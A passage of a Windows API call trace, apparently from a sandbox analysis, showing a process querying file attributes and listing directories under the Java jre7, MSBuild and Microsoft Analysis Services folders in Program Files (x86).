	[0055.110] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\plugin.jar" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\plugin.jar"), fInfoLevelId=0x0, lpFileInformation=0x12445e08 | out: lpFileInformation=0x12445e08*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x753515e0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x753515e0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x7539d8a0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x1d5e98)) returned 1
	[0055.111] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\psfont.properties.ja" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\psfont.properties.ja"), fInfoLevelId=0x0, lpFileInformation=0x12445e58 | out: lpFileInformation=0x12445e58*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x744bcf20, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x744bcf20, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x744bcf20, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0xaec)) returned 1
	[0055.111] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\psfontj2d.properties" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\psfontj2d.properties"), fInfoLevelId=0x0, lpFileInformation=0x12445ea8 | out: lpFileInformation=0x12445ea8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x744bcf20, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x744bcf20, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x744bcf20, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x2899)) returned 1
	[0055.112] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\resources.jar" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\resources.jar"), fInfoLevelId=0x0, lpFileInformation=0x12445ef8 | out: lpFileInformation=0x12445ef8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x744bcf20, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x744bcf20, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x744bcf20, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x2562c0)) returned 1
	[0055.113] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\rt.jar" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\rt.jar"), fInfoLevelId=0x0, lpFileInformation=0x12445f48 | out: lpFileInformation=0x12445f48*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x746d2260, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x746d2260, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x751d4820, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x3124c2e)) returned 1
	[0055.117] CreateFileW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\security" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\security"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0055.117] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\security\\*", lpFindFileData=0x1251b8b4 | out: lpFindFileData=0x1251b8b4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x744e3080, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x744e3080, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x744e3080, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7eb938
	[0055.126] CreateFileW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0055.126] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\*", lpFindFileData=0x1251b8b4 | out: lpFindFileData=0x1251b8b4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x744e3080, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x746d2260, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x746d2260, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7eb938
	[0055.129] CreateFileW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\africa"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0055.129] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa\\*", lpFindFileData=0x1251b850 | out: lpFindFileData=0x1251b850*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x744e3080, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x7452f340, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x7452f340, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7eb938
	[0055.151] CreateFileW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\america"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0055.151] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America\\*", lpFindFileData=0x1251b850 | out: lpFindFileData=0x1251b850*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7452f340, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x745a1760, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x745a1760, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7eb938
	[0055.160] CreateFileW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America\\Argentina" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\america\\argentina"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0055.160] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America\\Argentina\\*", lpFindFileData=0x1251b7ec | out: lpFindFileData=0x1251b7ec*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7452f340, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x7452f340, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x7452f340, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7eb938
	[0055.181] CreateFileW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America\\Indiana" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\america\\indiana"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0055.181] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America\\Indiana\\*", lpFindFileData=0x1251b7ec | out: lpFindFileData=0x1251b7ec*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x745554a0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x7457b600, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x7457b600, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7eb938
	[0055.187] CreateFileW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America\\Kentucky" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\america\\kentucky"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0055.187] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America\\Kentucky\\*", lpFindFileData=0x1251b7ec | out: lpFindFileData=0x1251b7ec*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7457b600, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x7457b600, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x7457b600, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7eb938
	[0055.194] CreateFileW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America\\North_Dakota" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\america\\north_dakota"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0055.195] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America\\North_Dakota\\*", lpFindFileData=0x1251b7ec | out: lpFindFileData=0x1251b7ec*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7457b600, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x7457b600, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x7457b600, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7eb938
	[0055.201] CreateFileW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Antarctica" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\antarctica"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0055.201] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Antarctica\\*", lpFindFileData=0x1251b850 | out: lpFindFileData=0x1251b850*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x745a1760, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x745c78c0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x745c78c0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7eb938
	[0055.209] CreateFileW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Asia" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\asia"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0055.209] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Asia\\*", lpFindFileData=0x1251b850 | out: lpFindFileData=0x1251b850*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x745c78c0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x74613b80, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x74613b80, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7eb938
	[0055.250] CreateFileW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Atlantic" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\atlantic"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0055.250] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Atlantic\\*", lpFindFileData=0x1251b850 | out: lpFindFileData=0x1251b850*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x74613b80, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x74613b80, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x74613b80, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7eb938
	[0055.256] CreateFileW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Australia" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\australia"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0055.256] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Australia\\*", lpFindFileData=0x1251b850 | out: lpFindFileData=0x1251b850*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x74613b80, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x74613b80, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x74613b80, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7eb938
	[0055.266] CreateFileW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Etc" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\etc"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0055.266] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Etc\\*", lpFindFileData=0x1251b850 | out: lpFindFileData=0x1251b850*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x74639ce0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x7465fe40, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x7465fe40, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7eb938
	[0055.275] CreateFileW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Europe" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\europe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0055.276] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Europe\\*", lpFindFileData=0x1251b850 | out: lpFindFileData=0x1251b850*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7465fe40, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x74685fa0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x74685fa0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7eb938
	[0055.293] CreateFileW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Indian" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\indian"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0055.293] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Indian\\*", lpFindFileData=0x1251b850 | out: lpFindFileData=0x1251b850*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x74685fa0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x74685fa0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x74685fa0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7eb938
	[0055.301] CreateFileW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Pacific" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\pacific"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0055.301] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Pacific\\*", lpFindFileData=0x1251b850 | out: lpFindFileData=0x1251b850*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x74685fa0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x746ac100, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x746ac100, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7eb938
	[0055.314] CreateFileW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\SystemV" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\systemv"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0055.314] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\SystemV\\*", lpFindFileData=0x1251b850 | out: lpFindFileData=0x1251b850*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x746ac100, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x746d2260, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x746d2260, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7eb938
	[0055.321] CreateFileW (lpFileName="C:\\Program Files (x86)\\MSBuild" (normalized: "c:\\program files (x86)\\msbuild"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0055.321] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\MSBuild\\*", lpFindFileData=0x1251b9e0 | out: lpFindFileData=0x1251b9e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80105472, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x553ced90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x553ced90, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7eb938
	[0055.321] CreateFileW (lpFileName="C:\\Program Files (x86)\\MSBuild\\Microsoft" (normalized: "c:\\program files (x86)\\msbuild\\microsoft"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0055.321] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\MSBuild\\Microsoft\\*", lpFindFileData=0x1251b97c | out: lpFindFileData=0x1251b97c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80105472, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x80105472, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x80105472, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7eb938
	[0055.322] CreateFileW (lpFileName="C:\\Program Files (x86)\\MSBuild\\Microsoft\\Windows Workflow Foundation" (normalized: "c:\\program files (x86)\\msbuild\\microsoft\\windows workflow foundation"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0055.322] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\MSBuild\\Microsoft\\Windows Workflow Foundation\\*", lpFindFileData=0x1251b918 | out: lpFindFileData=0x1251b918*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80105472, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x80105472, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x80105472, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7eb938
	[0055.322] CreateFileW (lpFileName="C:\\Program Files (x86)\\MSBuild\\Microsoft\\Windows Workflow Foundation\\v3.0" (normalized: "c:\\program files (x86)\\msbuild\\microsoft\\windows workflow foundation\\v3.0"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0055.322] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\MSBuild\\Microsoft\\Windows Workflow Foundation\\v3.0\\*", lpFindFileData=0x1251b8b4 | out: lpFindFileData=0x1251b8b4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80105472, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x812936d2, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x812936d2, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7eb938
	[0055.322] CreateFileW (lpFileName="C:\\Program Files (x86)\\MSBuild\\Microsoft\\Windows Workflow Foundation\\v3.5" (normalized: "c:\\program files (x86)\\msbuild\\microsoft\\windows workflow foundation\\v3.5"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0055.322] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\MSBuild\\Microsoft\\Windows Workflow Foundation\\v3.5\\*", lpFindFileData=0x1251b8b4 | out: lpFindFileData=0x1251b8b4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80105472, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x812936d2, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x812936d2, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7eb938
	[0055.323] CreateFileW (lpFileName="C:\\Program Files (x86)\\Microsoft Analysis Services" (normalized: "c:\\program files (x86)\\microsoft analysis services"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0055.323] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Microsoft Analysis Services\\*", lpFindFileData=0x1251b9e0 | out: lpFindFileData=0x1251b9e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfa1ae930, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfa1ae930, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfa1ae930, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7eb938
	[0055.323] CreateFileW (lpFileName="C:\\Program Files (x86)\\Microsoft Analysis Services\\AS OLEDB" (normalized: "c:\\program files (x86)\\microsoft analysis services\\as oledb"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0055.323] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Microsoft Analysis Services\\AS OLEDB\\*", lpFindFileData=0x1251b97c | out: lpFindFileData=0x1251b97c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfa1ae930, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfa1ae930, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfa1ae930, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7eb938
	[0055.324] CreateFileW (lpFileName="C:\\Program Files (x86)\\Microsoft Analysis Services\\AS OLEDB\\10" (normalized: "c:\\program files (x86)\\microsoft analysis services\\as oledb\\10"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
